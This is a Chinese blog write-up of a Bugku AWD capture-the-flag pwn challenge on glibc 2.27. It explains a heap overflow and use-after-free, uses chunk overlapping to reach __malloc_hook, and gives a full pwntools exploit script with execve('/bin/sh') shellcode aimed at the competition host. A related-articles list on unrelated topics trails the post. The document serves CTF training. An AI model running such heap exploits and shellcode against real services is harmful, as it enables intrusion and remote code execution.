今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的。

连上去发现是个堆题。。。再一看加固时间20分钟。。。。(瞬间无语住
直接在网上找题,结果发现网上都是2.23下的,这里笔者拿到的是2.27下的(再次瞬间无语住
没办法只好自己写exp了。拿到pwn附件就是一顿瞎分析,结果发现了upadte有堆溢出

再随便翻了翻发现还有一个uaf。

只不过没有show函数而已。

再看了一下保护

脑子里瞬间想好了攻击思路,申请到malloc_hook,改malloc_hook为shellcode的地址就行
申请到malloc_hook其实可以借助unstortedbin来,因为malloc_hook和unstortedbin差一个字节。
首先申请0x10 0x410 0x60 0x30 0x30
接着释放0x60,通过0x10改0x410为0x491,也就是将0x410和0x60包住。实现overlapping
释放这0x491再申请0x410这样的话0x60的fd就是unstortedbin了
改最低的一个字节到malloc_hook
0x30的作用就体现出来了,将0x30释放掉,edit改0x30的fd为0x601020

将shellcode放入这里,然后将malloc_hook改为这个地址,最后malloc的时候就会触发shellcode。
这个时候最玄的事情来了,本地打不通,远程可以打通。。。。。。
笔者没想太多,直接上脚本刷分去了(因为发现其它队伍都不会XD
这里笔者只贴一个普通打远程的脚本

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('192-168-1-50.pvp986.bugku.cn', 9999)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = 'Your choice :'def add(size, data):r.sendlineafter(menu, '1')r.sendlineafter('Size: ', str(size))r.sendafter('Data: ', data)def delete(index):r.sendlineafter(menu, '2')r.sendlineafter('Index: ', str(index))def edit(index, size, data):r.sendlineafter(menu, '3')r.sendlineafter('Index: ', str(index))r.sendlineafter('Size: ', str(size))r.sendafter('Data: ', data)add(0x10, 'bbb')    #0
add(0x410, 'aaa')   #1
add(0x60, 'aaaa')   #2
add(0x30, 'aaaa')   #3
add(0x30, 'aaaa') #4delete(2)p1 = p64(0) * 3 + p64(0x491)
edit(0, len(p1), p1)delete(1)add(0x410, 'aaaa')p2 = b'a' * 0x410 + p64(0) + p64(0x71) + b'\x30'
edit(1, len(p2), p2)add(0x60, 'aaaa')delete(4)p3 = p64(0x601020)edit(4, len(p3), p3)add(0x30, 'aaaa')
#shellcode = "\x48\x31\xc0\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xff\x48\xc7\xc7\x48\x10\x60\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')add(0x30, shellcode)add(0x60, p64(0x601020))r.recvuntil('Wellcome To the Heap World\n')
r.send('1'.ljust(8, '\x00'))r.send(str(0xf0).ljust(8, '\x00'))r.interactive()

记一次bugku awd的pwn解相关推荐

  1. BugKu -- AWD --S1排位赛-1

    写在前面 这两天把s1赛季能做的题都做出来了,然后在本地搭建了一下环境复现一下,这里再次感谢BUGKU里面的Anyyy师傅,直接让我白嫖环境,师傅也是上个赛季的前六名,实力强悍,让我学到很多,有兴趣的 ...

  2. 记第一次线下AWD感受及复现

    前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下. 第一次参赛线下AWD感受 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本.框架.工具等 ...

  3. 【ArcGIS风暴】ArcGIS标注和注记的区别及用法案例详解

    ArcGIS中地图文字信息有两种表达方式:标注(Label)和注记(Annotation).本文详细说明ArcGIS中标注和注记的区别及用法. 文章目录 一.标注的用法 1. 标注简介 2. 标注工具 ...

  4. 2021祥云杯 CTF pwn解 wp

    前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...

  5. oracle ebs应收贷记,【转】Oracle EBS 详解EBS接口开发之应收款处理

    (一)应收款常用标准表简介 1.1常用标准表 如下表中列出了与应收款处理相关的表和说明: 表名 说明 其他信息 AR_BATCHES_ALL AR收款批表 AR_BATCH_SOURCES_ALL A ...

  6. iOS 边学边记 直播SRT、UDT协议详解

    什么是SRT协议? 概述 SRT协议是基于UDT的传输协议,保留了UDT的核心思想和机制,抗丢包能力强,适用于复杂的网络.在LiveVideoStack线上分享中,新浪音视频架构师 施维对SRT协议的 ...

  7. [bugku]-秋名山车神详解

    解题 每一次刷新都不一样 post传参value 脚本1 import requests import re url = 'http://114.67.175.224:10053/' s = requ ...

  8. 择天记手游的服务器维护世界,择天记手游怎么野外修炼 择天记手游野外修炼功能详解...

    导 读 提起野外打怪,玩家们一般认为其收益都远低于做任务打副本,但是在<择天记手游>中,只要玩家开启修炼状态后,去野外打怪可获得10倍打怪经验,速度比之做任务打副本那是毫不逊色. 野外修炼 ...

  9. Bugku MISC come_game 详解

    Bugku MISC come_game 一.题目 二.思路 三.复现 四.总结 我会不定时更新bugku的题目,和大家共同学习,披荆斩棘.日拱一卒,你的付出,终将使你强大.希望大家喜欢,多多点赞收藏 ...

最新文章

  1. list存储引用类型注意的问题
  2. 语义分割--DeconvNet--Learning Deconvolution Network for Semantic Segmentation
  3. numpy数组ndarray如何对每个元素取绝对值,然后生成原数组的绝对值数组
  4. UVA 11627 Slalom(二分)
  5. python3基本数据类型
  6. 可耻的客户端,可怕的征兆,必须趁早消灭它
  7. STS插件_ springsource-tool-suite插件各个历史版本
  8. 【深度学习】empty() received an invalid combination of arguments - got (tuple, dtype=NoneType, device=None
  9. turtle填充随机颜色同心圆
  10. 工具的使用 —— sublime
  11. 【转载】著名黑客雷蒙评价几种编程语言
  12. JS对List集合进行排序
  13. matlab中的semilogy,MATLAB 函数Semilogy()
  14. 华为服务器串口修改密码,huawei恢复Console口密码
  15. 基础实验——与V831串口通讯
  16. Pyton 中eval 函数的用法总结
  17. android listview仿ios 3dTouch效果
  18. 微积分中,区间再现公式的证明
  19. 二进制部署K8S集群
  20. 微积分小课堂:微分(从宏观变化了解微观趋势)

热门文章

  1. 苹果ipad有哪几款_苹果iPad必备的几款iOS黑科技APP,好用到不想卸载,提高生产力!...
  2. html中的图片直接使用字符串代替
  3. 那些被岁月遗忘的UNIX经典著作
  4. 中科院算法试题 陈玉福
  5. 有关《征途》的比较全面的评论
  6. 计算机主机硬盘主要有,现在电脑上的硬盘都有哪几种?
  7. eclipse没有HTML编辑器的问题
  8. 写出python中6种数据类型_Python数据类型(一)
  9. 计算机教师的幸福,一名信息技术教师的职业幸福感
  10. Windows系统的Regsvr32